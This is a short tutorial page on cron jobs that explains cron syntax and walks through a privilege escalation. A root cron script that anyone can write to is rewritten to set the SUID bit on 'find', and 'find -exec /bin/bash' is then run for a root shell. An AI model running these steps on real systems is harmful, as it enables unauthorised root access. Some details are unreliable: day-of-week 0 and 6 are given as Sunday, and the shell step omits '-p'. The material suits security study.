# 5.2.3 CronJobs

## CronJobs

<details>

<summary>What is a CronJob?</summary>

**CronJobs** is a scheduled task or command that is automatically executed at specified intervals on a Unix-like operating system. The name "cron" comes from the Greek word "chronos," meaning time, and it is a time-based job scheduler in Unix-like operating systems.

Cron jobs are commonly used for automating repetitive tasks, system maintenance, or any task that needs to be performed at specific intervals. These tasks can include things like running scripts, backing up data, updating databases, or any other routine maintenance.

The schedule for a cron job is defined using a cron expression, which consists of five fields representing the minute, hour, day of the month, month, and day of the week. For example, a cron expression like "0 2 \* \* \*" would indicate a job that runs at 2:00 AM every day.

Here is a breakdown of the cron expression fields:

1st \*: Minute (0 - 59)

2nd \*: Hour (0 - 23)

3rd \*: Day of the month (1 - 31)

4th \*: Month (1 - 12)

5th \*: Day of the week (0 - 6, where both 0 and 6 represent Sunday).

After this there's a username (root) and path of command to execute (program path) and eventually an argument (arg1).

</details>

#### Example of CronJob definition

<figure><img src="https://content.gitbook.com/content/eUEvAVfMLGnJ6BBRiNDW/blobs/hioobEsAd8ugb3ANH0dr/image.png" alt=""><figcaption></figcaption></figure>

This is an example of CronJob in python language that execute a bash command on the system:

```python
#!/usr/bin/env python
import os
import sys
try:
   os.system('rm -r /home/new_user/disk_clean* ')
except:
    sys.exit()
```

E.g. considering that CronJob has maximum permissions (777):

```bash
*/1 *   * * *   root    /home/new_user/disk_cleaner.py
```

we can modify python script cronjob and execute command to escalate privilege for a normal user:

os.system(~~'rm -r /home/new\_user/disk\_clean\* ')~~ -> 'chmod u+s /usr/bin/find '

waiting 1 minute new\_user obtain SUID permissions for find command (ls -l /usr/bin/find) and executing **`find`** command we'll gain root privilege:

```bash
find /home -exec "/bin/bash" \;
```
